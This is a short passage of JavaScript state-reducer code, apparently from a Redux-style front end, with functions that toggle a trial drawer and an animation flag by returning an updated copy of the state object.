	let flag = (action.flag !== undefined) ? action.flag : !state.trialDrawerToggle;
	return Object.assign({}, state, {
		trialDrawerToggle: flag,
	});
}

export function toggleAnimation(state, action) {
	let flag = (action.flag !== undefined) ? action.flag : !state.animationOn;
	return Object.assign({}, state, {
		animationOn: flag
	});
}